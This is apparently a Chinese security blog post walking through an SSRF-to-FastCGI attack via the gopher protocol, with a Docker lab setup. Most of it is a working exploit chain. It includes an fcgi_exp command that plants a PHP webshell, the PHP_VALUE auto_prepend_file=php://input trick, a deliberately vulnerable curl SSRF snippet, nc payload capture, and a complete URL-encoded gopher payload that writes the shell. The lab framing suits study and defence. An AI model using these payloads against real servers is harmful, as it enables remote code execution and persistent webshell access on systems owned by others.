SSRF利用gopher协议攻击 fcgi

0x00 环境配置

  • 安装Net_Gopher

在pecl下载Net_Gopher,然后改36行:

1
function_entry  ======>  zend_function_entry

原因: 新版php将类型接口改变了,需要改下源码。 https://bugs.php.net/bug.php?id=61479

  • curl版本重新安装

倒腾半天,在SSRF测试时,对curl版本有所限制。所以需要重新编译安装。参考: http://pavelpolyakov.com/2014/11/17/updating-php-curl-on-ubuntu/

1
2
3
4
apt-get remove -y curl && apt-get autoremove -y
./configure --prefix=/usr
make
make install
  • Docker环境

然后有了Dockerfile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
FROM php:5.6.19-fpm
# Install modules

COPY ./webcode/Net_Gopher-1.0.0 /Net_Gopher
COPY ./webcode/curl-7.49.0 /curl-7.49.0
WORKDIR /Net_Gopher
RUN pecl build
WORKDIR /Net_Gopher/Net_Gopher-1.0.0
RUN ./configure && make test && make install \
&& docker-php-ext-enable gopher

RUN apt-get remove -y curl && apt-get autoremove -y
WORKDIR /curl-7.49.0
RUN ./configure --prefix=/usr \
&& make && make install

CMD ["php-fpm"]

docker-compose.yml 启动所需环境:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
phpfpm_db:
build: ./web
volumes:
- ./web/webcode:/webcode
ports:
- "9000:9000"
nginx_server:
image: nginx:1.8
links:
- phpfpm_db:phpfpm_db
volumes:
- ./server/conf/default_server.conf:/etc/nginx/conf.d/default.conf
- ./server/logs:/var/log/nginx
volumes_from:
- phpfpm_db
ports:
- "8083:80"

可以在phpinfo中看到gopher协议enable。curl版本为7.49.0

0x01 fcgi 攻击

  • 安装go语言环境,编译exp源码,有空可以看看源码。

go语言官网需要翻墙,国内有个下载:

1
http://www.golangtc.com/download

将go的bin路径加到bash环境中(跟java很像~):

1
2
export GOROOT=/home/angelwhu/Documents/thirdparty/go
export PATH=$PATH:$GOROOT/bin

编译下:

1
go build fcgi_exp.go
  • 攻击原理

漏洞细节请看:

1
http://zone.wooyun.org/content/1060

有个关键有趣的地方,是动态修改php的配置:

1
2
3
env["REQUEST_METHOD"] = "POST" 
env["PHP_VALUE"] = "auto_prepend_file = php://input"
env["PHP_ADMIN_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off"

auto_prepend_file这个配置值,代表自动加载在php文件前面的代码。 例如:

1
auto_prepend_file = header.php

这里设置的是php://input,代表用户请求上传的数据作为php代码,加载到文件之前。相当于任意php代码执行了。

  • 攻击验证

写个shell到指定目录下:

1
./fcgi_exp system 121.42.175.111 9000 /webcode/index.php "echo \'<?php \$_GET[x](\$_POST[xx]);?>\' > /webcode/test123gopher.php"

看源码(fcgi_exp.go)可知,当执行system命令时,会这样拼凑代码:

1
reqParams = "<?php system('" + os.Args[5] + "');die('" + cutLine + "');?>"

于是有了上述POC,单引号和$符号均需要转义一下。 攻击条件:

  • fcgi暴露端口9000
  • 知道一个php文件的绝对路径

0x02 SSRF配合gopher协议攻击

https://blog.chaitin.com/gopher-attack-surfaces/ 存在SSRF漏洞代码:

1
2
3
4
5
6
7
8
9
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); //加上支持302跳转
$output = curl_exec($ch);
curl_close($ch);
?>

测试下gopher协议是否可用:

  • 在自己服务器上写个302跳转,测试是否可以支持gopher协议。

如下:

1
header("Location: gopher://121.42.175.111:2333/_test");

访问http://angelwhu.com:8083/SSRF.php?url=http://121.42.175.111:8080/1.php,在2333端口得到test请求:

获取payload,构造gopher协议:

1
2
3
./fcgi_exp system 127.0.0.1 2333 /webcode/index.php "echo \'<?php \$_GET[x](\$_POST[xx]);?>\' > /webcode/test123gopher.php"

nc -lvvv 2333 > payload.txt

接收到发送的payload,进行url编码,如下构造gopher协议: urlencode.py:

1
2
3
4
5
6
7
8
9
import urllib

def go():
f = open("payload.txt")
content = f.read()
print urllib.quote(content)

if __name__ == "__main__":
go()

得到gopher协议为:

1
header("Location:gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH121%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%12SCRIPT_FILENAME/webcode/index.php%0D%01DOCUMENT_ROOT/%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%01%04%00%01%00%00%00%00%01%05%00%01%00y%07%00%3C%3Fphp%20system%28%27echo%20%5C%27%3C%3Fphp%20%24_GET%5Bx%5D%28%24_POST%5Bxx%5D%29%3B%3F%3E%5C%27%20%3E%20/webcode/test123gopher.php%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00");

只需在url编码,前面加上下划线_即可。 访问SSRF漏洞页面,通过302跳转,成功写入shell。

0x03 问题

  • 确实发现curl版本问题,会产生截断,重新倒腾编译半天成7.49.0
  • 需要设置下curl可以302跳转。

摘自长亭科技文章,有局限性。 经过测试发现 Gopher 的以下几点局限性:

  • 大部分 PHP 并不会开启 fopen 的 gopher wrapper
  • file_get_contents 的 gopher 协议不能 URLencode
  • file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
  • PHP 的 curl 默认不 follow 302 跳转
  • curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用

更多有待补充。
另外,并不限于 PHP 的 SSRF。当存在 XXE、ffmepg SSRF 等漏洞的时候,也可以进行利用。

0x04 参考

https://blog.chaitin.com/gopher-attack-surfaces/
http://zone.wooyun.org/content/1060

文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2016/06/13/ssrf-uses-the-gopher-protocol-to-attack-fcgi/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog